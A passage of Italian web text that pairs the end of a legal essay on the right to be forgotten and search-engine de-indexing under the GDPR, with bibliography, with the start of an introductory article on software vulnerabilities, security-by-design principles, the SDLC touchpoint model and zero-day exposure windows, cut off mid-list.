    • l’attuazione della “de-indicizzazione” è subordinata non tanto alla volontà del Giudice, quanto a quella di un soggetto privato (es. Google), ossia a una company che il più delle volte non è assoggettata alla legislazione europea e che fa della circolazione dei contenuti il proprio core business. Tale situazione determina di fatto un’arbitrarietà della scelta da parte dei provider e che quindi funge da deus ex machina nel bilanciamento tra l’interesse legittimo del privato cittadino e le altre motivazioni contrapposte: il diritto di cronaca, l’interesse pubblico alla diffusione della notizia (valutata sulla base dell’indice di lettura della pagina), ecc. ;
    • Google ha già fatto sapere tutta una serie di casi nei quali, comunque, non procederà mai alla de-indicizzazione della notizia. Si tratta dei casi in cui la notizia riguarda:
      1. frodi finanziarie (per es.: l’amministratore di una società colpevole di bancarotta fraudolenta, oppure che ha nascosto gli utili agli azionisti; casi di insider trading, ecc.);
      2. negligenza professionale (per es.: un medico processato per una morte sospetta; un avvocato che ha perso una causa per un errore grave; un ingegnere che ha costruito un palazzo poi crollato, ecc.);
      3. condotta pubblica di funzionari statali (per es.: un caso di concussione o di corruzione);
      4. condanne penali. È proprio questo il punto più dolente: parlare di “condanne penali” (concetto che racchiude già tutti i casi appena elencati) è così generico da ricomprendere quasi tutte le richieste di diritto all’oblio (quasi sempre legate a processi di carattere penale, indagini della magistratura, ecc.). Va da sé che se Google escluderà, a priori, proprio queste istanze, il “modulo automatico” è praticamente inutile.
    • la sentenza della Corte di Giustizia si applica solo in Europa e non nel resto del mondo, dove Google potrà continuerà a rendere indicizzato il contenuto. Così, chi comunque faccia la ricerca su Google.com anziché su Google.it o su Google.fr troverà ugualmente la “pagina incriminata”. È anche questa l’ennesima (negativa) conseguenza del fatto che il contenuto incriminato non è stato cancellato ma solo rimosso dalle ricerche;
    • l’applicazione del diritto all’oblio in un contesto globale: prendendo ad esempio Facebook sono evidenti le molteplici sfide legate alla natura transnazionale della piattaforma e alla vastità della sua rete utenti, ad esempio:
      1. diversità di leggi sulla privacy: Facebook opera in numerosi paesi, ognuno con la propria legislazione in materia di protezione dei dati e privacy. Mentre in Europa il GDPR (Regolamento Generale sulla Protezione dei Dati) fornisce una cornice abbastanza omogenea che include il diritto all’oblio, in altre regioni del mondo tale diritto potrebbe non essere riconosciuto o potrebbe essere interpretato in modi diversi. Questo pone la sfida di come applicare coerentemente una politica di privacy su scala globale;
      2. implementazione tecnica: la struttura tecnologica di Facebook è complessa e altamente distribuita, con server e centri dati dislocati in diverse parti del mondo. Quando un utente richiede la rimozione di contenuti basandosi sul diritto all’oblio, Facebook deve essere in grado di identificare e rimuovere efficacemente tali contenuti in tutte le sue infrastrutture, il che può essere tecnologicamente impegnativo;
      3. ambito di applicazione territoriale: c’è stata una notevole discussione sui confini territoriali dell’applicazione del diritto all’oblio. Ad esempio, se un utente in Francia chiede la rimozione di un contenuto, Facebook deve rimuovere quel contenuto solo per gli utenti nell’UE o globalmente? Le interpretazioni e le sentenze dei tribunali europei hanno variato nel tempo, aumentando la complessità della conformità.

    Marketing

    Il GDPR amplia il diritto all’oblio, comunemente associato al diritto di interrompere la diffusione di private informazioni, alla sfera dei dati con finalità di marketing. Come già affrontato fin qui, la cancellazione di dati personali è solitamente volta ad impedire l’espansione di informazioni obsolete e nocive per la propria nomea.

    Allargando tale concetto al contesto di marketing, anche qui il GDPR attribuisce all’utente, la facoltà di cancellazione dei propri dati sensibili, qualora questi non siano stati cancellati autonomamente alla cessazione dei termini per cui essi sono stati acquisiti. Qualora infatti dati acquisiti con finalità di marketing, fossero ancora presenti al termine del loro reale scopo per cui sono stati acquisiti, l’interessato potrà fare richiesta di cancellazione degli stessi senza la necessità di fornire valide motivazioni. Ulteriormente, tale diritto si applica anche qualora i dati siano stati acquisiti in modo illecito senza il consenso dell’interessato. Pertanto allorché quest’ultimo ne venisse a conoscenza, può far valere il diritto all’oblio e i propri dati dovranno essere eliminati, onde evitare sanzioni da parte dell’autorità garante, in quanto il loro trattamento non è conforme al GDPR.

    Ma allora: è possibile un diritto all’oblio in ambito digitale?

    La riflessione sulla natura e l’applicazione del diritto all’oblio nel contesto digitale apre un dibattito complesso e articolato che interroga direttamente i limiti delle tecnologie attuali e le loro implicazioni etiche e giuridiche. La questione centrale riguarda la possibilità di controllare e, in certi casi, limitare la persistenza delle informazioni personali nell’ecosistema digitale, in particolare nei motori di ricerca e nelle SERP (Search Engine Results Pages).

    Il diritto all’oblio è stato interpretato come la capacità di influenzare l’accessibilità delle informazioni digitali, volto a rendere più difficile il recupero di specifici dati personali, con l’obiettivo ultimo di preservare l’autonomia dell’individuo sulla propria identità digitale. Tale concetto si scontra però con la natura intrinsecamente transattiva e distribuita della memoria digitale, che fonde insieme capacità computazionali e interazioni umane in un processo di memorizzazione unificato e di difficile regolamentazione.

    Una possibile via d’uscita potrebbe consistere nell’adottare una concezione di “pseudo-deindicizzazione”, analogamente alla distinzione tra pseudo-anonimizzazione e anonimizzazione, che contempli diritti come la rettifica, l’aggiornamento e la cancellazione dei dati in modo più specifico e operativo.

    L’idea di un diritto all’Habeas SERP, ossia il controllo individuale sui risultati di ricerca legati al proprio nome, solleva questioni critiche relative alla libertà di espressione e al diritto di cronaca, ponendo l’identità digitale in una posizione potenzialmente predominante rispetto ad altri diritti fondamentali.

    La proposta di rendere pubblici gli algoritmi di ricerca potrebbe democratizzare l’accesso a tecniche di ottimizzazione SEO, ma comporterebbe al contempo rischi di manipolazione informativa e alterazioni degli equilibri di mercato, soprattutto per quanto riguarda i motori di ricerca dominanti. In definitiva, qualsiasi tentativo di normare il diritto all’oblio digitale richiederebbe un accordo internazionale, per evitare disparità di trattamento e digital divide. Tuttavia, l’adeguamento sociale e tecnologico all’evoluzione della memoria digitale potrebbe offrire un terreno fertile per nuove soluzioni che bilancino privacy, diritto all’informazione e libertà di espressione.

    Già dagli anni 2000, il Garante italiano per la protezione dei dati personali ha affrontato la questione della “gogna elettronica”, sottolineando la necessità di un diritto all’oblio che consentisse agli individui di richiedere la rimozione di notizie online non più attuali o rilevanti. Questa preoccupazione ha portato alla richiesta ai motori di ricerca di aggiornare periodicamente i dati online per riflettere situazioni attuali, sottolineando l’importanza dell’accuratezza e della pertinenza delle informazioni disponibili sul web.

    Con provvedimenti successivi, l’Autorità Garante ha ribadito l’importanza dell’aggiornamento degli archivi giornalistici online, offrendo la possibilità di aggiungere note o link che forniscano contesto aggiuntivo, garantendo così una rappresentazione completa e aggiornata delle notizie riguardanti individui specifici.

    L’intervento del Garante nel 2019, in relazione a una richiesta di cancellazione di articoli giudiziari, ha sottolineato il delicato bilanciamento tra il diritto alla privacy e la libertà di cronaca. L’Autorità ha riconosciuto la legittimità del trattamento dei dati personali per finalità giornalistiche, anche senza il consenso degli interessati, a condizione che tale trattamento rispetti la libertà e la dignità dell’individuo e si basi su fatti di rilevanza pubblica. In questo caso, l’interesse pubblico prevaleva sulla richiesta di esercizio del diritto all’oblio, data la rilevanza della vicenda giudiziaria e il ruolo pubblico di uno dei soggetti coinvolti.

    La “riforma Cartabia” del 2021 rappresenta un ulteriore passo avanti, delegando il governo a regolamentare la deindicizzazione di dati personali in caso di archiviazione o assoluzione in procedimenti giudiziari, rafforzando così il diritto all’oblio degli individui coinvolti in indagini o processi. Questa legislazione stabilisce criteri specifici per garantire la rimozione efficace di informazioni obsolete o non più rilevanti dai motori di ricerca, sottolineando l’importanza di una pronta reazione in caso di mancato adempimento.

    Queste evoluzioni normative e giurisprudenziali evidenziano la crescente consapevolezza della necessità di bilanciare la libertà dell’informazione con i diritti fondamentali degli individui nell’era digitale. Tuttavia, la rapidità dell’innovazione tecnologica e la sua influenza sulla diffusione delle informazioni sollevano questioni complesse relative alla regolamentazione dell’informazione online. La definizione di una “etica del cybernauta” e l’elaborazione di principi per una “cittadinanza digitale” responsabile sono fondamentali per garantire che la libertà di espressione non diventi un veicolo per l’offesa o la diffamazione, sottolineando la necessità di un equilibrio tra i diritti individuali e l’accesso pubblico all’informazione in un contesto sempre più dominato da realtà virtuali e piattaforme digitali.

    Nel contesto della “società digitale”, dove le informazioni sono facilmente registrate, archiviate e accessibili online, il diritto all’oblio è diventato un tema centrale nei dibattiti sulla privacy e sulla gestione delle informazioni personali. Le persone possono essere danneggiate o discriminate a causa di informazioni obsolete o imprecise che rimangono online e il diritto all’oblio può offrire una forma di protezione in questi casi.

    Tuttavia, implementare effettivamente il diritto all’oblio è complicato, poiché coinvolge un delicato equilibrio tra la protezione della privacy individuale e la libertà di informazione. Le piattaforme online devono trovare modi per rispettare le richieste di rimozione delle informazioni senza compromettere la disponibilità di informazioni legittime e importanti.

    In definitiva, il diritto all’oblio rappresenta una sfida importante per la società digitale, poiché cerca di trovare un equilibrio tra la protezione della privacy individuale e la libertà di informazione in un ambiente online in continua evoluzione.

    La complessa relazione tra la tutela del diritto all’oblio nell’era digitale e la natura globale della rete Internet solleva questioni significative circa l’efficacia e l’applicabilità della legislazione in materia di protezione dei dati personali, come dimostrato dal GDPR e dalla giurisprudenza relativa. Il caso Google del 2019 presso la Corte di giustizia dell’Unione Europea ha messo in evidenza i limiti territoriali del diritto all’oblio, stabilendo che la deindicizzazione dei dati personali richiesta in base all’articolo 17 del GDPR debba essere attuata solo all’interno dell’Unione Europea, senza imporre obblighi di cancellazione globale ai gestori dei motori di ricerca.

    Questa decisione sottolinea l’inadeguatezza di un quadro normativo che non contempla un’effettiva tutela dell’oblio su scala mondiale, evidenziando le difficoltà nell’armonizzare la protezione dei dati personali con il carattere intrinsecamente senza confini della rete. Sebbene il GDPR rappresenti un avanzamento significativo nella protezione dei diritti degli individui nell’ambito digitale, la sua portata limitata territorialmente lascia aperte questioni relative alla gestione dei dati personali su piattaforme accessibili globalmente. In conclusione, la tutela dell’oblio in Internet rimane un ambito di notevole complessità, dove le normative esistenti si scontrano con la natura decentralizzata e globale della rete. La ricerca di un equilibrio tra la dignità della persona e la libertà di espressione si manifesta come una sfida continua, resa ancora più ardua dai rapidi sviluppi tecnologici. Il dibattito sull’adeguatezza delle normative in questo contesto è aperto, richiedendo agli interpreti un costante sforzo ermeneutico per navigare tra le incertezze disciplinari e le dinamiche in evoluzione del mondo digitale. In questo scenario, l’imperativo di trovare soluzioni che riflettano i valori fondamentali della società nell’era dell’informazione si affianca alla consapevolezza che soluzioni universalmente applicabili possono essere difficili, se non impossibili, da realizzare in un ambiente caratterizzato da un “algoritmo sovrano” che continua a ridefinire le modalità di interazione e di espressione nell’ambito virtuale.


    [1] https://reportcontent.google.com/forms/rtbf

    [2]  La locuzione inglese Search Engine Results Page, più semplicemente “SERP”, indica comunemente la pagina dei risultati di un motore di ricerca.

    [3] https://www.bing.com/webmaster/tools/eu-privacy-request

    [4] https://io.help.yahoo.com/contact/index?page=contactform&locale=it_IT&token=Zh%2FBBVqXzLHlIbokbUqVWTUbuuQeXGkGzJ%2FxkLsJP07Zgk%2B%2B1eFwBr5d5R9oF0htO%2BBvaT6%2BQLZMo4%2BSEICbjKW0zsv%2BqoEY6hjokP5ca3%2FIpyH1fp5qSukQCRifkLYrh8vWbODAAU3Jgf9Mu86t7Q%3D%3D&selectedChannel=email-icon&yid=

    [5] www.istella.it

    [6] https://www.istella.it/it/privacy

    [7] https://www.linkedin.com/help/linkedin/topic/a65?trk=hc-hp-recommendedTopics

    [8] https://it-it.facebook.com/legal/terms/previous

    [9] https://www.facebook.com/legal/terms/update?ref=old_policy

    [10] https://www.facebook.com/privacy/policy/?entry_point=data_policy_redirect&entry=0

    [11] https://www.facebook.com/help/125338004213029

    [12] In caso di eliminazione permanente dell’account, Facebook. garantisce l’eliminazione di tutti i contenuti, anche quelli memorizzati sui propri sistemi di backup, entro novanta giorni successivi alla relativa richiesta, ad eccezione di alcuni contenuti al cui presenza sia reputata necessaria per motivi tecnici. Alcune informazioni rimarranno tuttavia ancora presenti nei sistemi di Facebook Inc. nonostante l’eliminazione.

    [13] https://www.facebook.com/help/contact/144059062408922

    [14] https://www.facebook.com/help/contact/319149701968527

    Bibliografia

    ASSONIME – Associazione fra le società italiane per azioni. “Diritto all’oblio e deindicizzazione dai motori di ricerca: la giurisprudenza della Corte di giustizia”. Note e Studi 1/2020.

    Direzione della Comunicazione Unità Stampa e informazione. Comunicato stampa n. 197/22. Lussemburgo, 8 dicembre 2022. Sentenza della Corte nella causa C-460/20 | Google (Deindicizzazione di contenuti asseritamente inesatti). “Diritto alla cancellazione («diritto all’oblio»): il gestore di un motore di ricerca deve deindicizzare le informazioni incluse nel contenuto indicizzato quando il richiedente dimostri che sono manifestamente inesatte”.

    EDPB – European Data Protection Board. “Linee guida 5/2019 sui criteri per l’esercizio del diritto all’oblio nel caso dei motori di ricerca, ai sensi del RGPD” (parte 1 – versione 2.0, adottate il 7 luglio 2020.

    GPDP – Garante per la Protezione dei Dati Personali. “Diritto all’oblio”. https://www.garanteprivacy.it/i-miei-diritti/diritti/oblio.

    Agostini A., De Nardis A., La tua reputazione su Google ei social media: prevenire, monitorare, curare, Hoepli, Milano, 2013.

    Alpa G., Resta G., “Le persone e la famiglia. Le persone fisiche e i diritti della personalità”, in Trattato di diritto civile, 2006

    Ambrose M. L., Ausloos J., “The right to be forgotten across the pond”, in Journal of Information Policy, 2013.

    Arieta G., “Una nuova impostazione dei rapporti tra informazione e tutela della vita privata?”, in Temi.

    Ausloos J., “The Right to be Forgotten – Worth remembering?”, in Computer Law and Security Review, 2012.

    Barchiesi A., “La tentazione dell’oblio. Vuoi subire o costruire la tua identità digitale?”, Franco Angeli, Milano, 2016.

    Bartolini C., Siry L., “The right to be forgotten in the light of the consent of the data subject”, in Computer Law and Security Review, 2016.

    Bassoli E., “Come difendersi dalla violazione dei dati su Internet. Diritti e responsabilità”, Maggioli Editore, Rimini, 2012.

    Bitetto A., “Cronaca, oblio e memoria: prospettive comparate tra riservatezza e identità”. Dipartimento Jonico in Sistemi Giuridici ed Economici del Mediterraneo: Società, Ambiente, Culture. Quaderni del Dipartimento Jonico, 21/2023.

    Ciani Sciolla J., “Diritto all’oblio e cooperazione internazionale: problemi e prospettive”, Rivista Italiana di Informatica e Diritto. Periodico Internazionale e del CNR-IGSG, fascicolo 1-2022.

    Di Ciommo F., “Diritto all’oblio. Quello che il diritto non dice. Internet e oblio”. Da Opinioni Libere professioni. Danno e responsabilità.

    Di Ciommo F., “Il diritto all’oblio (oblito) nel regolamento Ue 2016/679 sul trattamento dei dati personali”. Il Foro Italiano, V 6 fasc. 9/2017.

    Finocchiaro G., “Il diritto all’oblio nel quadro dei diritti della personalità”. Il diritto dell’informazione e dell’informatica, Anno XXIX Fasc.4-5 – 2014.

    Leucci S., “Diritto all’oblio, verità, design tecnologico: una prospettiva di ricerca Right to Be Forgotten, Truth and Technological Design”, Media Laws – Rivista di diritto dei media, Saggi – Sezione Monografica “fake news, pluralismo informativo e responsabilità in rete” Articles – Fake News, Pluralism and ISP Liability.

    Ligresti A., “Il diritto all’oblio nella “rete” senza regole”, Amministrazione In Cammino, Rivista elettronica di diritto pubblico, di diritto dell’economia e di sicurezza e di scienza dell’amministrazione, 2022.

    Martinelli S., “Diritto all’oblio e motori di ricerca. Memoria e privacy nell’era digitale”. Informatica Giuridica – Collana diretta da Giovanni Ziccardi e Pierluigi Perri. Estratto_024198827.

    Messina D., “Le prospettive del diritto all’oblio nella società dell’informazione e della comunicazione”. Informatica e diritto, XXXV annata, Vol. XVIII, 2009.

    Pardolesi R., “L’ombra del tempo e (il diritto al)l’oblio”. Obiettivo 1. Il diritto di crono. Questione Giustizia 1/2017.

    Pisapia M, Cherchi C., “Diritto all’oblio. Prime riflessioni sull’introduzione dell’art. 64-ter disp. att. c.p.p.”. Media Laws – Rivista di diritto dei media, cronache 02/2023.

    Tullio L., “Tracce evolutive del «right to be forgotten» tra esigenze di anonimato e richieste di deindicizzazione”, Ianus Rivista di Studi Giuridici n.22 – dicembre 2020.

    Vesto A. “La tutela dell’oblio tra intimità e condivisione senza filtri”, Media Laws – Rivista di diritto dei media. 2/2018. Zanichelli M. “Il diritto all’oblio tra privacy e identità digitale”. Informatica e diritto, XLII annata, Vol. XXV, 2016.

    Introduzione alla cybersecurity e alle vulnerabilità del software


    Nel mondo odierno, dove la dipendenza dalla tecnologia è crescente, la cybersecurity è diventata un pilastro fondamentale. La sicurezza informatica non riguarda solo la protezione di dati e risorse, ma anche la gestione delle vulnerabilità che emergono nei sistemi e nelle applicazioni software. Uno degli errori comuni è la fiducia cieca nella fonte da cui si ottiene il software: installare programmi da fonti non verificate può esporre a gravi rischi, poiché software dannosi come trojan e virus sono spesso distribuiti tramite siti web malevoli o email fraudolente. In questi casi, la vulnerabilità risiede non solo nel software ma anche negli utenti, i quali, se non adeguatamente formati, possono commettere errori nella valutazione delle fonti e dei rischi associati.

    Affidarsi solo all’affidabilità della fonte di download non è sufficiente. Anche quando scarichiamo software da siti web legittimi, potremmo comunque trovarci esposti a minacce come attacchi “man in the middle” che compromettono il file durante il trasferimento. Inoltre, errori logici interni al software o input inattesi (non è detto che l’input sia fidato, ovvero “soddisfi le precondizioni”), possono compromettere l’intero sistema. Pertanto, la correttezza del software, intesa come aderenza ai requisiti funzionali e prevenzione degli errori, diventa un aspetto cruciale.

    Quando una vulnerabilità viene scoperta, l’utente deve segnalarla a un team di risposta agli incidenti informatici, come i CERT (Computer Emergency Response Team) o i CSIRT (Computer Security Incident Response Team). Questi enti, spesso supportati da università o enti governativi, verificano la presenza della vulnerabilità e avvisano i produttori del software, prima di pubblicare un avviso di sicurezza. Tuttavia, esiste anche un mercato illecito per queste vulnerabilità, detto mercato degli “zero-day”, dove le falle sconosciute e non documentate possono essere vendute e sfruttate dai criminali.

    L’economia del crimine informatico non si limita alle vulnerabilità zero-day. Esistono veri e propri mercati per exploit, malware, botnet e credenziali rubate, spesso venduti come servizi “as-a-service”. Questi mercati prosperano nel dark web, sfruttando reti anonime come TOR per garantire la segretezza e l’intracciabilità delle transazioni. Ad esempio, i dati delle carte di credito o gli account compromessi possono essere venduti a prezzi che variano a seconda del livello di compromissione e del valore dell’account.

    Per catalogare e analizzare le vulnerabilità, sono stati sviluppati database come il National Vulnerability Database (NVD) e il Common Vulnerabilities and Exposures (CVE), che documentano le vulnerabilità note e forniscono indicazioni su come mitigare i rischi. Le vulnerabilità vengono inoltre classificate tramite il Common Vulnerability Scoring System (CVSS), un sistema di valutazione che attribuisce un punteggio alla gravità del rischio, guidando le aziende nelle priorità di intervento.

    Il Common Weakness Enumeration (CWE) è un elenco standardizzato delle debolezze più comuni nella sicurezza del software, sviluppato per facilitare l’identificazione e la prevenzione di vulnerabilità. A differenza del CVE, che si concentra su vulnerabilità specifiche e istanze particolari in software o sistemi, il CWE descrive debolezze generali che possono essere sfruttate in una vasta gamma di contesti. Tra le debolezze più rilevanti troviamo problemi come il “buffer overflow”, che può portare a corruzione della memoria e attacchi di esecuzione arbitraria di codice, la “SQL Injection”, dove l’immissione di comandi non validati può compromettere database e sistemi, e l’“out-of-bounds write”, dove l’accesso a memoria al di fuori dei limiti previsti può causare crash o vulnerabilità critiche. Il CWE non solo funge da linguaggio comune per discutere di questi problemi, ma fornisce anche una base per sviluppare strumenti di testing e pratiche di sicurezza, aiutando gli sviluppatori a progettare sistemi più robusti e resilienti fin dalle fasi iniziali di sviluppo.

    Uno dei miti più diffusi è che un software sia “sicuro” se funziona come previsto. Tuttavia, affidabilità e sicurezza non sono sinonimi: un software può soddisfare i requisiti funzionali ma essere comunque vulnerabile ad abusi e attacchi. Inoltre, la sicurezza non dipende solo dalle caratteristiche visibili come la crittografia o il controllo degli accessi, ma anche dall’integrazione sicura di ogni funzione. Le minacce derivano anche dall’imprevedibilità dell’uso del software: moderni sistemi connessi e complessi sono difficili da proteggere completamente.

    Alcuni “falsi miti” e la realtà

    • Funziona in modo affidabile, soddisfacendo tutti i requisiti funzionali.
      –Affidabilità non vuol dire sicurezza: Il software affidabile fa quello che deve fare. Il software sicuro fa quello che deve fare e nient’altro” (Ivan Arce). Non si tratta solo di come il software deve essere usato, ma anche di come può essere abusato: in quanto i requisiti funzionali sono guidati dai casi d’uso, mentre i requisiti di sicurezza sono guidati da casi di abuso.
    • Dispone di tutte le caratteristiche di sicurezza appropriate.
      –Funzionalità di sicurezza non vuol dire funzionalità sicure: le funzionalità di sicurezza sono– caratteristiche direttamente collegate agli obiettivi di sicurezza, come l’uso della crittografia, la gestione delle password, il controllo degli accessi, ecc. Devono essere implementate con attenzione, ma lo sviluppo non può concentrarsi solo sulle caratteristiche di sicurezza (Seven Pernicious Kingdoms). Le funzionalità sicure sono qualsiasi funzionalità, anche se non direttamente correlate a un requisito di sicurezza, che possono mettere a rischio la sicurezza.
    • I possibili utilizzi sono ben noti e sotto controllo.
      –Non è possibile prevedere tutti i possibili usi di un sistema software. Il software moderno è soggetto alla The Trinity of Trouble (ToT) (Trinità dei problemi) :
    1. Connettività: i sistemi software sono connessi.
    2. –Complessità: la loro organizzazione può essere intricata e complessa.
    3. –Estensibilità: si evolvono e possono essere estesi in modo imprevedibile.

    Tutti questi aspetti sono naturalmente correlati tra loro.

    1. – Principio n. 1: il difensore deve difendere tutti i punti; l’attaccante può scegliere il punto più debole.
    2. – Principio n. 2: il difensore può difendersi solo da attacchi noti; l’attaccante può sondare le vulnerabilità sconosciute.
    3. – Principio n. 3:  il difensore deve essere costantemente vigile; l’attaccante può colpire a piacimento. –
    4. Principio n. 4: il difensore deve rispettare le regole; l’attaccante può giocare sporco.
    • Il codice è “chiuso” e le versioni binarie sono offuscate. Anche i nostri meccanismi di crittografia sono segreti.
      –Security by design vs security by obscurity: security by obscurity si basa sulla segretezza come metodo generale per la sicurezza. Funziona come deterrente, aumenta il lavoro dell’attaccante, ma i segreti sono difficili da mantenere a lungo (ad es. considerare le fughe di notizie, le tecniche di reverse engineering). – In generale, ricordiamo i principi dei vantaggi dell’attaccante. Security by design si basa su 10 principi generali di sicurezza:
    1. Semplicità
    2. Design Open
    3. Suddivisione
    4. Esposizione minima
    5. Minimo privilegio
    6. Minima fiducia e massima affidabilità
    7. Difetti sicuri e a prova di errore
    8. Mediazione completa
    9. Nessun singolo punto di errore
    10. Tracciabilità
    • Per quanto riguarda la sicurezza, conduciamo un pentest approfondito alla fine del ciclo di sviluppo del software.
      –Software development life cycle (SDLC) e il “modello touchpoint. Il Software Development Life Cycle (SDLC) è un processo strutturato per lo sviluppo di software di alta qualità. Include una serie di fasi che gli sviluppatori seguono per pianificare, progettare, costruire, testare e distribuire un software. L’SDLC fornisce una mappa per il team di sviluppo e garantisce che il prodotto finale soddisfi i requisiti e sia affidabile. Le fasi tipiche dell’SDLC sono:
    1. Pianificazione e analisi dei requisiti: si identificano le esigenze del cliente e si definiscono i requisiti che il software deve soddisfare. Si stabiliscono obiettivi, risorse e tempistiche.
    2. Progettazione: si pianifica l’architettura del software, definendo l’organizzazione del sistema, l’interfaccia utente e il flusso di dati.
    3. Implementazione e codifica: in questa fase si scrive il codice del software. Gli sviluppatori traducono il progetto in codice funzionante, seguendo standard e pratiche di programmazione.
    4. Test: si eseguono vari tipi di test (unit testing, integration testing, system testing, ecc.) per verificare che il software funzioni correttamente e soddisfi i requisiti.
    5. Deployment (distribuzione): una volta che il software è stato testato e considerato pronto, viene distribuito agli utenti finali.
    6. Manutenzione e supporto: dopo il rilascio, il software entra in una fase di manutenzione in cui si correggono bug, si ottimizza il funzionamento e si gestiscono aggiornamenti.

    Il modello Touchpoint, sviluppato da Gary McGraw, è una metodologia per incorporare la sicurezza in ogni fase dell’SDLC. A differenza di un approccio “a cascata”, dove la sicurezza è spesso trattata come una fase separata o come un controllo finale, il modello touchpoint incoraggia la sicurezza come parte integrante di tutte le fasi dello sviluppo. I “touchpoint sono punti strategici dell’SDLC in cui vengono applicate pratiche di sicurezza specifiche. Le principali attività di sicurezza nel modello touchpoint includono:

    1. Code review (revisione del codice): effettuare revisioni del codice manuali o automatiche per identificare vulnerabilità, come SQL injection o buffer overflow. Questo consente di correggere errori di sicurezza direttamente nel codice.
    2. Design review (revisione del progetto): rivedere l’architettura e la progettazione del software per assicurarsi che le decisioni di design non introducano vulnerabilità. Questo può includere un’analisi dei controlli di accesso, della crittografia e delle interazioni con altri sistemi.
    3. Testing di sicurezza: durante i test funzionali, è essenziale includere anche test di sicurezza, come penetration testing o test di fuzzing, per verificare che il software non sia vulnerabile a exploit.
    4. Gestione delle minacce (threat modeling): in questa fase si identificano e valutano le potenziali minacce al sistema, pianificando contromisure e strategie di mitigazione. Il threat modeling può avvenire in diverse fasi, ma è tipicamente più efficace nella fase di progettazione.
    5. Configurazione sicura (security configuration): assicurarsi che i componenti del software, così come i server e le reti, siano configurati in modo sicuro, riducendo al minimo le superfici di attacco.
    6. Incident response planning (piano di risposta agli incidenti): peparare un piano di risposta agli incidenti per gestire eventuali attacchi e violazioni. Avere questo piano in atto sin dalle prime fasi consente di ridurre l’impatto di eventuali exploit.
    7. Formazione sulla sicurezza per gli sviluppatori: assicurarsi che il team di sviluppo sia informato sulle migliori pratiche di sicurezza, per evitare errori comuni durante la scrittura del codice.
    • Abbiamo appena rilasciato una patch che ha risolto tutti i problemi di sicurezza ed è protetta contro ogni exploit conosciuto.
      –Finestra di vulnerabilità, exploit zero-day. La finestra di vulnerabilità è un concetto utilizzato in sicurezza informatica per descrivere l’intervallo di tempo in cui una vulnerabilità è nota ma non ancora corretta. Durante questo periodo, i sistemi e le applicazioni che presentano la vulnerabilità sono a rischio di attacco, poiché i difetti possono essere sfruttati dagli attaccanti prima che i proprietari del sistema o i fornitori del software rilascino una patch o una correzione.
    Ciclo di vita delle vulnerabilità di sicurezza – Fonte OWASP

    Caratteristiche della finestra di vulnerabilità

    1. Inizio della finestra: la finestra di vulnerabilità inizia nel momento in cui una falla di sicurezza è scoperta e viene resa pubblica o comunque conosciuta dagli attaccanti.
    2. Fine della finestra: la finestra termina quando viene distribuita e applicata una patch di sicurezza che corregge la vulnerabilità su tutti i sistemi interessati.
    3. Durata variabile: la durata della finestra di vulnerabilità può variare. In alcuni casi, i fornitori rilasciano rapidamente una patch, riducendo il tempo di esposizione. In altri casi, la correzione può richiedere più tempo, prolungando la finestra e aumentando il rischio.

    Un exploit zero-day (o attacco zero-day) è una tipologia di attacco che sfrutta una vulnerabilità nel software non ancora conosciuta dai produttori o dal pubblico. In altre parole, si tratta di una vulnerabilità “a giorno zero” perché non è stata ancora scoperta o affrontata con un aggiornamento di sicurezza, lasciando il sistema completamente esposto.

    Caratteristiche degli Exploit Zero-Day

    1. Ignoranza del fornitore: un exploit zero-day sfrutta una vulnerabilità di cui il fornitore non è ancora a conoscenza. Questo significa che non esiste alcuna patch o correzione disponibile al momento dell’attacco.
    2. Alta efficacia: gli exploit zero-day sono particolarmente pericolosi perché possono bypassare le misure di sicurezza esistenti, proprio perché non sono ancora stati catalogati né gestiti.
    3. Difficoltà di rilevamento: questi exploit sono difficili da rilevare e mitigare, poiché le soluzioni di sicurezza non hanno ancora aggiornamenti o regole specifiche per bloccare l’attacco.

    Relazione tra finestra di vulnerabilità ed exploit zero-day. Quando viene scoperta una vulnerabilità zero-day, si apre immediatamente una finestra di vulnerabilità. Finché la falla non è nota pubblicamente, il rischio è limitato a un numero ristretto di attaccanti che conoscono l’exploit. Tuttavia, quando l’exploit diventa di dominio pubblico, la finestra di vulnerabilità può aumentare considerevolmente in termini di esposizione.

    Mitigazione della finestra di vulnerabilità e degli exploit zero-day. Per gestire la finestra di vulnerabilità e ridurre il rischio associato agli exploit zero-day, è possibile adottare le seguenti misure:

    1. Patch management: implementare un sistema di gestione delle patch efficace per applicare rapidamente gli aggiornamenti di sicurezza appena disponibili.
    2. Threat intelligence: utilizzare fonti di threat intelligence per rimanere aggiornati sulle nuove minacce e sugli exploit zero-day che potrebbero colpire i sistemi.
    3. Implementazione di sicurezza multi-livello: avere sistemi di sicurezza su più livelli, come firewall, sistemi di rilevamento e prevenzione delle intrusioni (IDS/IPS) e controlli di accesso rigorosi, può ridurre l’impatto di un exploit zero-day.
    4. Analisi del comportamento e anomaly detection: tecniche di rilevamento basate sull’analisi del comportamento aiutano a identificare attività anomale anche se un attacco zero-day cerca di eludere i controlli di sicurezza convenzionali.
    5. Segmentazione della rete: segmentare la rete può limitare i danni che un attaccante può causare in caso di sfruttamento di una vulnerabilità zero-day.

    È quindi necessario sviluppare software secondo i principi della “security by design”, in contrasto alla “security by obscurity”. I principi di sicurezza da incorporare includono semplicità, suddivisione dei privilegi, esposizione minima, tracciabilità e l’assenza di punti di errore singoli. A differenza del classico test di sicurezza svolto a fine sviluppo, un ciclo di vita dello sviluppo del software (SDLC) ben pianificato include la sicurezza in ogni fase, minimizzando le vulnerabilità di design.

    In sintesi, la cybersecurity non è un obiettivo raggiungibile con un unico intervento. Essa richiede un approccio integrato, che combini formazione, adozione di tecniche sicure nello sviluppo e costante monitoraggio delle minacce emergenti. Una comprensione profonda delle vulnerabilità e l’implementazione di una sicurezza “by design” rappresentano i fondamenti per proteggere i sistemi in un panorama digitale in continua evoluzione.

    Seven Pernicious Kingdoms

    Una tassonomia creata per aiutare gli sviluppatori a comprendere gli errori di programmazione più comuni che influiscono sulla sicurezza.

    Il modello del Seven Pernicious Kingdoms è un framework utilizzato per classificare le principali categorie di vulnerabilità nel codice, in particolare in ambito di sicurezza applicativa. Sviluppato dai ricercatori di Cigital (in particolare Gary McGraw), il modello è un modo per raggruppare le vulnerabilità in base alla loro natura e impatto. I “Sette Regni” rappresentano tipi distinti di difetti nel codice, che possono essere utilizzati per strutturare e migliorare la sicurezza del software.

    Ecco i sette “regni” di vulnerabilità:

    1. Input validation and representation: si riferisce ai difetti che derivano da una gestione impropria dei dati di input o dalla rappresentazione inadeguata dei dati, portando a vulnerabilità come SQL injection, command injection e cross-site scripting (XSS).
